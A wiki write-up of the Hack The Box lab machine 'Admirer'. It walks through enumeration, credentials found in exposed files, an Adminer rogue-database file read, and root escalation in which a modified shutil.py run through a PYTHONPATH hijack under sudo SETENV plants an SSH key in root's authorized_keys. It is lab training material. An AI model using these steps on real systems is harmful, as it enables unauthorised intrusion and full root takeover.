Admirer

From Luniwiki
Jump to: navigation, search

Back

Admirer01.png

Port scan

u505@naos:~/HTB/Machines/Admirer$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.187
[sudo] password for u505:

Starting masscan 1.0.5 at 2021-01-03 14:02:43 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.187 Discovered open port 21/tcp on 10.10.10.187 Discovered open port 22/tcp on 10.10.10.187
u505@naos:~/HTB/Machines/Admirer$ nmap -sC -sV admirer
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-03 09:02 EST
Nmap scan report for admirer (10.10.10.187)
Host is up (0.038s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.18 seconds

Web enumeration

Admirer02.png

Dirsearch

Several searches does not provide any useful information.

u505@naos:~/HTB/Machines/Admirer$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common.txt -e "txt,html,php,js" -f -t 100 -u http://admirer

_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt, html, php, js | HTTP method: GET | Threads: 100 | Wordlist size: 27664
Error Log: /opt/utils/dirsearch/logs/errors-21-01-03_09-12-25.log
Target: http://admirer/
Output File: /opt/utils/dirsearch/reports/admirer/_21-01-03_09-12-25.txt
[09:12:25] Starting: [09:12:30] 403 - 272B - /.hta/ [09:12:30] 403 - 272B - /.htaccess.php [09:12:30] 403 - 272B - /.hta.php [09:12:30] 403 - 272B - /.htpasswd.html [09:12:31] 403 - 272B - /.htpasswd.js [09:12:31] 403 - 272B - /.hta.js [09:12:31] 403 - 272B - /.hta.txt [09:12:31] 403 - 272B - /.htpasswd.txt [09:12:31] 403 - 272B - /.hta.html [09:12:31] 403 - 272B - /.htpasswd.php [09:12:31] 403 - 272B - /.htaccess.html [09:12:31] 403 - 272B - /.htaccess.js [09:12:37] 403 - 272B - /assets/ [09:12:37] 301 - 303B - /assets -> http://admirer/assets/ [09:13:02] 403 - 272B - /icons/ [09:13:02] 301 - 303B - /images -> http://admirer/images/ [09:13:02] 403 - 272B - /images/ [09:13:02] 200 - 6KB - /index.php [09:13:02] 200 - 6KB - /index.php/ [09:13:20] 200 - 138B - /robots.txt [09:13:22] 403 - 272B - /server-status [09:13:22] 403 - 272B - /server-status/
Task Completed

Images

Images doesn't seem to contain any embedded data.

u505@naos:~/HTB/Machines/Admirer/images$ cat links
http://admirer/images/fulls/arch01.jpg
http://admirer/images/fulls/arch02.jpg
http://admirer/images/fulls/art01.jpg
http://admirer/images/fulls/art02.jpg
http://admirer/images/fulls/eng01.jpg
http://admirer/images/fulls/eng02.jpg
http://admirer/images/fulls/mind01.jpg
http://admirer/images/fulls/mind02.jpg
http://admirer/images/fulls/mus01.jpg
http://admirer/images/fulls/mus02.jpg
http://admirer/images/fulls/nat01.jpg
http://admirer/images/fulls/nat02.jpg
u505@naos:~/HTB/Machines/Admirer/images$ cat links | while read url
> do
> wget $url
> done

Directory admin-dir

u505@naos:~/HTB/Machines/Admirer$ curl http://admirer/robots.txt
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo Disallow: /admin-dir

The robots.txt provides an username and affirms that password and credentials are contained.

u505@naos:~/HTB/Machines/Admirer$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/big.txt -e "txt" -f -t 1000 -u http://admirer/admin-dir/

_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt | HTTP method: GET | Threads: 1000 | Wordlist size: 61403
Error Log: /opt/utils/dirsearch/logs/errors-21-01-03_10-12-03.log
Target: http://admirer/admin-dir/
Output File: /opt/utils/dirsearch/reports/admirer/admin-dir_21-01-03_10-12-03.txt
[10:12:03] Starting: [10:12:08] 403 - 272B - /admin-dir/.htpasswd.txt [10:12:41] 200 - 350B - /admin-dir/contacts.txt [10:12:42] 200 - 136B - /admin-dir/credentials.txt
Task Completed

FTP access

u505@naos:~/HTB/Machines/Admirer/images$ curl http://admirer/admin-dir/contacts.txt
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb
# Amy Email: a.bialik@admirer.htb
# Leonard Email: l.galecki@admirer.htb


############# # designers # ############# # Howard Email: h.helberg@admirer.htb
# Bernadette Email: b.rauch@admirer.htb -
u505@naos:~/HTB/Machines/Admirer/images$ curl http://admirer/admin-dir/credentials.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account] ftpuser %n?4Wz}R$tTF7
[Wordpress account] admin w0rdpr3ss01!

There are ftp credentials.

u505@naos:~/HTB/Machines/Admirer/images$ ftp admirer
Connected to admirer.
220 (vsFTPd 3.0.3)
Name (admirer:u505): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> bin
200 Switching to Binary mode.
ftp> mget *
mget dump.sql? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (4.5736 MB/s)
mget html.tar.gz? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 1.29 secs (3.9077 MB/s)
ftp> quit
221 Goodbye.

Web code analysis

u505@naos:~/HTB/Machines/Admirer$ mkdir website
u505@naos:~/HTB/Machines/Admirer$ mv html.tar.gz website/
u505@naos:~/HTB/Machines/Admirer$ cd website/
u505@naos:~/HTB/Machines/Admirer/website$ tar xfz html.tar.gz
u505@naos:~/HTB/Machines/Admirer/website$ ls -ltr
total 5176
drwxr-x--- 6 u505 u505    4096 Jun  6  2019 assets
-rw-r----- 1 u505 u505     134 Dec  1  2019 robots.txt
drwxr-x--- 2 u505 u505    4096 Dec  2  2019 w4ld0s_s3cr3t_d1r
drwxr-x--- 2 u505 u505    4096 Dec  2  2019 utility-scripts
drwxr-x--- 4 u505 u505    4096 Dec  2  2019 images
-rw-r----- 1 u505 u505    4613 Dec  3  2019 index.php
-rw-r--r-- 1 u505 u505 5270987 Jan  3 09:50 html.tar.gz

index.php

The index.php provides database credentials, but the non escaped quotation mark involves a syntax error. I assume that these credentials doesn't work.

u505@naos:~/HTB/Machines/Admirer/website$ vi index.php

$servername = "localhost"; $username = "waldo"; $password = "]F7jLHw:*G>UPrTo}~A"d6b"; $dbname = "admirerdb";

utility-scripts folder

u505@naos:~/HTB/Machines/Admirer/website$ cd utility-scripts/
u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ ls -l
total 16
-rw-r----- 1 u505 u505 1795 Dec  2  2019 admin_tasks.php
-rw-r----- 1 u505 u505  401 Dec  1  2019 db_admin.php
-rw-r----- 1 u505 u505   20 Nov 29  2019 info.php
-rw-r----- 1 u505 u505   53 Dec  2  2019 phptest.php

info.php

@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat info.php
<?php phpinfo(); ?>

Admirer10.png

Provides phpinfo data.

phptest.php

u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat phptest.php
<?php
  echo("Just a test to see if PHP works.");
?>

Admirer11.png

admin_tasks.php

u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat admin_tasks.php
<html>
 <head>
   <title>Administrative Tasks</title>
 </head>
 <body>
   <h3>Admin Tasks Web Interface (v0.01 beta)</h3>
   <?php
   // Web Interface to the admin_tasks script
   //
   if(isset($_REQUEST['task']))
   {
     $task = $_REQUEST['task'];
     if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
        $task == '5' || $task == '6' || $task == '7')
     {
       /***********************************************************************************
          Available options:
            1) View system uptime
            2) View logged in users
            3) View crontab (current user only)
            4) Backup passwd file (not working)
            5) Backup shadow file (not working)
            6) Backup web data (not working)
            7) Backup database (not working)
 <br>
            NOTE: Options 4-7 are currently NOT working because they need root privileges.
                  I'm leaving them in the valid tasks in case I figure out a way
                  to securely run code as root from a PHP page.
       ************************************************************************************/
       echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
     }
     else
     {
       echo("Invalid task.");
     }
   }
   ?>
 <br>
   <p>
   <h4>Select task:</p>
   <form method="POST">
     <select name="task">
       <option value=1>View system uptime</option>
       <option value=2>View logged in users</option>
       <option value=3>View crontab</option>
       <option value=4 disabled>Backup passwd file</option>
       <option value=5 disabled>Backup shadow file</option>
       <option value=6 disabled>Backup web data</option>
       <option value=7 disabled>Backup database</option>
     </select>
     <input type="submit">
   </form>
 </body>
 </html>

Selecting the first option.

Admirer12.png

Provides the uptime.

Admirer13.png

The second the logged users (none).

Admirer14.png

The third provides us the user (www-data) and no crontab.

Admirer15.png

Try to force not allowed tasks. But output is no sufficient privileges.

Admirer16.png

Admirer17.png

Trying to temper parameter doesn't work (as expected).

Admirer18.png

Admirer19.png

db_admin.php

This script provides other DB credentials, and the comment give us an hint.

u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat db_admin.php
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

// Create connection $conn = new mysqli($servername, $username, $password);
// Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } echo "Connected successfully";

// TODO: Finish implementing this or find a better open source alternative ?>

This script is not found on the server.

u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ curl http://admirer/utility-scripts/db_admin.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
 <html><head>
 <title>404 Not Found</title>
 </head><body>
 <h1>Not Found</h1>
 <p>The requested URL was not found on this server.</p>
 <hr>
 <address>Apache/2.4.25 (Debian) Server at admirer Port 80</address>
 </body></html>

Dirsearch on folder utility-scripts

Run dirsearch on the folder finds another script.

u505@naos:~/HTB/Machines/Admirer$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/big.txt -e "php" -f -t 1000 -u http://admirer/utility-scripts/

_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: GET | Threads: 1000 | Wordlist size: 61404
Error Log: /opt/utils/dirsearch/logs/errors-21-01-03_16-01-42.log
Target: http://admirer/utility-scripts/
Output File: /opt/utils/dirsearch/reports/admirer/utility-scripts_21-01-03_16-01-42.txt
[16:01:42] Starting: [16:01:49] 403 - 272B - /utility-scripts/.htaccess.php [16:01:57] 403 - 272B - /utility-scripts/.htpasswd.php [16:01:59] 200 - 4KB - /utility-scripts/adminer.php [16:03:04] 200 - 83KB - /utility-scripts/info.php [16:03:38] 200 - 32B - /utility-scripts/phptest.php
Task Completed

User flag

Adminer vulnerability

None of the found credentials works.

Admirer20.png

But there are several articles about a vulnerability, that allows the attacker to read local server files connecting an external database.

Create local database

Create a database and a user accessible from everywhere.

u505@naos:~/HTB/Machines/Admirer$ sudo systemctl start mysql
[sudo] password for u505:
u505@naos:~/HTB/Machines/Admirer$ mysql -p -u root
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 6
Server version: 10.5.8-MariaDB-3 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> create database admirer; Query OK, 1 row affected (0.001 sec)
MariaDB [(none)]> create user u505@'%' identified by 'u505'; Query OK, 0 rows affected (0.002 sec)
MariaDB [none]> grant all privileges on *.* to u505@'%'; Query OK, 0 rows affected (0.002 sec)
MariaDB [none]> exit Bye

Connect admirer to our DB

Admirer03.png

Admirer04.png

Read local file

Trying to read local file raises an error that the table is missing (expected).

Admirer05.png

We create the table.

u505@naos:~/HTB/Machines/Admirer$ mysql -u u505 -p admirer
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 8
Server version: 10.5.8-MariaDB-3 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [admirer]> create table test (filename varchar(255)); Query OK, 0 rows affected (0.012 sec)

After the table creation, it raises a second error.

Admirer06.png

Php doesn't allow this folder, but it allows the web server folder.

Admirer07.png

The index.php provides the correct database credentials.

MariaDB [admirer]> select * from test;
 +---------------------------------------------------------------------------------------------------------------------------------+
 | filename                                                                                                                        |
 +---------------------------------------------------------------------------------------------------------------------------------+
 | <!DOCTYPE HTML>                                                                                                                 |
 | <!--                                                                                                                            |
 |       Multiverse by HTML5 UP                                                                                                         |
 |       html5up.net | @ajlkn                                                                                                           |
 |       Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)                                           |
 | -->                                                                                                                             |
 | <html>                                                                                                                          |
 |       <head>                                                                                                                         |
 |               <title>Admirer</title>                                                                                                        |
 |               <meta charset="utf-8" />                                                                                                      |
 |               <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />                                      |
 |               <link rel="stylesheet" href="assets/css/main.css" />                                                                          |
 |               <noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>                                                 |
 |       </head>                                                                                                                        |
 |       <body class="is-preload">                                                                                                      |
 |                                                                                                                                 |
 |               <!-- Wrapper -->                                                                                                              |
 |                       <div id="wrapper">                                                                                                           |
 |                                                                                                                                 |
 |                               <!-- Header -->                                                                                                             |
 |                                       <header id="header">                                                                                                       |
 |                                               <h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>                                          |
 |                                               <nav>                                                                                                                     |
 |                                                       <ul>                                                                                                                     |
 |                                                               <li><a href="#footer" class="icon solid fa-info-circle">About</a></li>                                                  |
 |                                                       </ul>                                                                                                                    |
 |                                               </nav>                                                                                                                    |
 |                                       </header>                                                                                                                  |
 |                                                                                                                                 |
 |                               <!-- Main -->                                                                                                               |
 |                                       <div id="main">                                                                                                                          |
 |                                        <?php                                                                                                                    |
 |                         $servername = "localhost";                                                                              |
 |                         $username =  "waldo";                                                                                    |
 |                         $password = "&<h5b~yK3F#{PaPB&dA}{H>";                                                                  |
 |                         $dbname = "admirerdb";                                                                                  |
 |                                                                                                                                 |
 |                         // Create connection                                                                                    |
 |                         $conn = new mysqli($servername, $username, $password, $dbname);                                         |
 |                         // Check connection                                                                                     |
 |                         if ($conn->connect_error) {                                                                             |
 |                             die("Connection failed: " . $conn->connect_error);                                                  |
 |                         }                                                                                                       |
 |                                                                                                                                 |
 |                         $sql = "SELECT * FROM items";                                                                           |
 |                         $result = $conn->query($sql);                                                                           |
 |                                                                                                                                 |
 |                         if ($result->num_rows > 0) {                                                                            |
 |                             // output data of each row                                                                          |
 |                             while($row = $result->fetch_assoc()) {                                                              |
 |                                 echo "<article class='thumb'>
 ";                                                                |
 |                                                       echo "<a href='".$row["image_path"]."' class='image'><img src='".$row["thumb_path"]."' alt='' /></a>
 ";              |
 |                                                       echo "<h2>".$row["title"]."</h2>
 ";                                                                                  |
 |                                                       echo "<p>".$row["text"]."</p>
 ";                                                                                     |
 |                                                   echo "</article>
 ";                                                                                               |
 |                             }                                                                                                   |
 |                         } else {                                                                                                |
 |                             echo "0 results";                                                                                   |
 |                         }                                                                                                       |
 |                         $conn->close();                                                                                         |
 |                     ?>                                                                                                          |
 |                                       </div>                                                                                                                     |
 |                                                                                                                                 |
 |                               <!-- Footer -->                                                                                                             |
 |                                       <footer id="footer" class="panel">                                                                                         |
 |                                               <div class="inner split">                                                                                                 |
 |                                                       <div>                                                                                                                    |
 |                                                               <section>                                                                                                               |
 |                                                                       <h2>Allow yourself to be amazed</h2>                                                                                   |
 |                                                                       <p>Skills are not to be envied, but to feel inspired by.<br>                                                           |
 |                                                                       Visual arts and music are there to take care of your soul.<br><br>                                                     |
 |                                                                       Let your senses soak up these wonders...<br><br><br><br>                                                               |
 |                                                                       </p>                                                                                                                   |
 |                                                               </section>                                                                                                              |
 |                                                               <section>                                                                                                               |
 |                                                                       <h2>Follow me on ...</h2>                                                                                              |
 |                                                                       <ul class="icons">                                                                                                     |
 |                                                                               <li><a href="#" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li>                            |
 |                                                                               <li><a href="#" class="icon brands fa-facebook-f"><span class="label">Facebook</span></a></li>                        |
 |                                                                               <li><a href="#" class="icon brands fa-instagram"><span class="label">Instagram</span></a></li>                        |
 |                                                                               <li><a href="#" class="icon brands fa-github"><span class="label">GitHub</span></a></li>                              |
 |                                                                               <li><a href="#" class="icon brands fa-dribbble"><span class="label">Dribbble</span></a></li>                          |
 |                                                                               <li><a href="#" class="icon brands fa-linkedin-in"><span class="label">LinkedIn</span></a></li>                       |
 |                                                                       </ul>                                                                                                                  |
 |                                                               </section>                                                                                                              |
 |                                                       </div>                                                                                                                   |
 |                                                       <div>                                                                                                                    |
 |                                                               <section>                                                                                                               |
 |                                                                       <h2>Get in touch</h2>                                                                                                  |
 |                                                                       <form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! --> |
 |                                                                               <div class="fields">                                                                                                  |
 |                                                                                       <div class="field half">                                                                                             |
 |                                                                                               <input type="text" name="name" id="name" placeholder="Name" />                                                      |
 |                                                                                       </div>                                                                                                               |
 |                                                                                       <div class="field half">                                                                                             |
 |                                                                                               <input type="text" name="email" id="email" placeholder="Email" />                                                   |
 |                                                                                       </div>                                                                                                               |
 |                                                                                       <div class="field">                                                                                                  |
 |                                                                                               <textarea name="message" id="message" rows="4" placeholder="Message"></textarea>                                    |
 |                                                                                       </div>                                                                                                               |
 |                                                                               </div>                                                                                                                |
 |                                                                               <ul class="actions">                                                                                                  |
 |                                                                                       <li><input type="submit" value="Send" class="primary" /></li>                                                        |
 |                                                                                       <li><input type="reset" value="Reset" /></li>                                                                        |
 |                                                                               </ul>                                                                                                                 |
 |                                                                       </form>                                                                                                                |
 |                                                               </section>                                                                                                              |
 |                                                       </div>                                                                                                                   |
 |                                               </div>                                                                                                                    |
 |                                       </footer>                                                                                                                  |
 |                                                                                                                                 |
 |                       </div>                                                                                                                       |
 |                                                                                                                                 |
 |               <!-- Scripts -->                                                                                                              |
 |                       <script src="assets/js/jquery.min.js"></script>                                                                              |
 |                       <script src="assets/js/jquery.poptrox.min.js"></script>                                                                      |
 |                       <script src="assets/js/browser.min.js"></script>                                                                             |
 |                       <script src="assets/js/breakpoints.min.js"></script>                                                                         |
 |                       <script src="assets/js/util.js"></script>                                                                                    |
 |                       <script src="assets/js/main.js"></script>                                                                                    |
 |                                                                                                                                 |
 |       </body>                                                                                                                        |
 | </html>                                                                                                                         |
 +---------------------------------------------------------------------------------------------------------------------------------+
 123 rows in set (0.001 sec)

SSH access

The database credentials

u505@naos:~/HTB/Machines/Admirer$ ssh waldo@admirer
waldo@admirer's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ cat user.txt <USER_FLAG>

Escalation

waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh

User waldo can sudo on admin_task.sh script. The SETENV variable is unusual.

waldo@admirer:/opt/scripts$ man sudoers
     SETENV and NOSETENV

These tags override the value of the setenv option on a per-command basis. Note that if SETENV has been set for a command, the user may disable the env_reset option from the command line via the -E option. Additionally, environment variables set on the command line are not subject to the restrictions imposed by env_check, env_delete, or env_keep. As such, only trusted users should be allowed to set variables in this manner. If the command matched is ALL, the SETENV tag is implied for that command; this default may be overridden by use of the NOSETENV tag.

I tried it, on my machine.

u505@naos:~/HTB/Machines/Admirer$ export test=1
u505@naos:/var/log$ test=1 sudo bash -c 'echo $test'

u505@naos:/var/log$ test=1 sudo -E bash -c 'echo $test' 1

admin_task.sh script

waldo@admirer:~$ ls -l /opt/scripts/admin_tasks.sh

-rwxr-xr-x 1 root admins 2613 Dec  2  2019 /opt/scripts/admin_tasks.sh

I didn't find any easy way to exploit the command.

waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime() { /usr/bin/uptime -p }
view_users() { /usr/bin/w }
view_crontab() { /usr/bin/crontab -l }
backup_passwd() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/passwd to /var/backups/passwd.bak..." /bin/cp /etc/passwd /var/backups/passwd.bak /bin/chown root:root /var/backups/passwd.bak /bin/chmod 600 /var/backups/passwd.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi }
backup_shadow() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/shadow to /var/backups/shadow.bak..." /bin/cp /etc/shadow /var/backups/shadow.bak /bin/chown root:shadow /var/backups/shadow.bak /bin/chmod 600 /var/backups/shadow.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi }
backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi }
backup_db() { if [ "$EUID" -eq 0 ] then echo "Running mysqldump in the background, it may take a while..." #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql & /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql & else echo "Insufficient privileges to perform the selected operation." fi }


# Non-interactive way, to be used by the web interface if [ $# -eq 1 ] then option=$1 case $option in 1) view_uptime ;; 2) view_users ;; 3) view_crontab ;; 4) backup_passwd ;; 5) backup_shadow ;; 6) backup_web ;; 7) backup_db ;;
*) echo "Unknown option." >&2 esac
exit 0 fi

# Interactive way, to be called from the command line options=("View system uptime" "View logged in users" "View crontab" "Backup passwd file" "Backup shadow file" "Backup web data" "Backup DB" "Quit")
echo echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2 esac done
exit 0

Option 6 calls a python script.

Root crontab

waldo@admirer:~$ sudo /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]] 1) View system uptime 2) View logged in users 3) View crontab 4) Backup passwd file 5) Backup shadow file 6) Backup web data 7) Backup DB 8) Quit Choose an option: 3 # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command */3 * * * * rm -r /tmp/*.* >/dev/null 2>&1 */3 * * * * rm /home/waldo/*.p* >/dev/null 2>&1

Each 3 minutes, p* files are deleted from home folder.

backup.py script

waldo@admirer:/var/backups$ ls -l /opt/scripts/backup.py
-rwxr----- 1 root admins 198 Dec  2  2019 /opt/scripts/backup.py
waldo@admirer:~$ cat /opt/scripts/backup.py
#!/usr/bin/python3

from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore #dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)

The file cannot be modified, but we can try to abuse python to execute "our" version of command make_archive.

PYTHONPATH manipulation

From https://docs.python.org/3/using/cmdline.html#environment-variables

PYTHONPATH
Augment the default search path for module files. The format is the same as the shell’s PATH: one or more directory pathnames separated by os.pathsep (e.g. colons on Unix or semicolons on Windows). Non-existent directories are silently ignored.

In addition to normal directories, individual PYTHONPATH entries may refer to zipfiles containing pure Python modules (in either source or compiled form). Extension modules cannot be imported from zipfiles.
The default search path is installation dependent, but generally begins with prefix/lib/pythonversion (see PYTHONHOME above). It is always appended to PYTHONPATH.
An additional directory will be inserted in the search path in front of PYTHONPATH as described above under Interface options. The search path can be manipulated from within a Python program as the variable sys.path.

To avoid the deletion of py files, we create our own folder.

waldo@admirer:~$ mkdir u505
waldo@admirer:~/u505$ cat test.py
import sys
print (sys.path)

We can manipulate the PYTHONPATH variable.

waldo@admirer:~/u505$ python3 test.py

['/home/waldo/u505', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']

waldo@admirer:~/u505$ PYTHONPATH=/tmp python3 test.py

['/home/waldo/u505', '/tmp', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']

Modify shutil.py

First we generate a new ssh key.

u505@naos:~/HTB/Machines/Admirer$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/u505/.ssh/id_rsa): u505_ssh
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in u505_ssh
Your public key has been saved in u505_ssh.pub
The key fingerprint is:
SHA256:TjZDaGZWHj7O3PcS7F5avk2IKWjEKxjoGNrzVH8sTqs u505@naos
The key's randomart image is:
+---[RSA 3072]----+
|        o        |
|       = .       |
|      * =        |
|   . = * o .     |
|. . . . S . +    |
|.=   + * * o = . |
|o + o . O + = = .|
|   +   = + o * o |
|    . E.o   o o..|
+----[SHA256]-----+

Search for shutil.py library.

waldo@admirer:~/u505$ find / -name shutil.py 2>/dev/null                       
/usr/lib/python3.5/shutil.py
/usr/lib/python2.7/shutil.py

And copy it to our local folder.

waldo@admirer:~/u505$ cp /usr/lib/python3.5/shutil.py ./

We edit the make_archive function to add our public key to root .ssh folder.

waldo@admirer:~/u505$ diff shutil.py /usr/lib/python3.5/shutil.py
773,776d772
<
<     os.system("mkdir /root/.ssh")
<     os.system("echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs+SKNsttT7JnVm9YBnPd1KFJxZw0n7xQTjQBRRVH2KI9QpNxv9IwQPNPCz62hi8r9VoGfLOo4Fi7XP2nVJX050hst3g2l92xHyCWQQmhw1mEWHyhBOWD6eYITkO5sFITQEZpvb6TgY0g2yln0Pvxk3ur2J00HFbEO6xFgP3OY7L7aaYdPAeCSrPPxNmEfrNs0fF45yH4xuK8iRWROl/1YNqPDKAV8Ym/Yl/3sQaQ6iI/Q2ynVASe5SxQfXdAuoMXiBViswczINg10fguxE7H208ZXpH+s0q2S2Zh+iDcYJXb/cTQb7n0FoSVjVmKPDbHmtHtmMfbC1y/6ef6nez+LrCde42IunGvj17fu3wIBBFM8upD5THrj/S4jXODXYN3MAjXHXOGIp7Ml0YC3yLooLscx2v9Arik0qpsWJynJwFBx9a4F4coGELQgCP09jSTfVlS5VH0Xg1XSds9h5k2D4cPypX4m8WXLg9aszIPmBm0+alOZHoYmj9kuSzf/mpk= u505@naos' > /root/.ssh/authorized_keys ")
<     os.system("chmod 600 /root/.ssh/authorized_keys")

Run exploit

waldo@admirer:~/u505$ sudo PYTHONPATH=`pwd` /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...

Root flag

Ssh with our ssh key.

u505@naos:~/HTB/Machines/Admirer$ ssh -i u505_ssh root@admirer
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Apr 29 11:07:00 2020 root@admirer:~# whoami root root@admirer:~# cat root.txt <ROOT_FLAG>

References

Daniel Simao 10:03, 4 January 2021 (EST)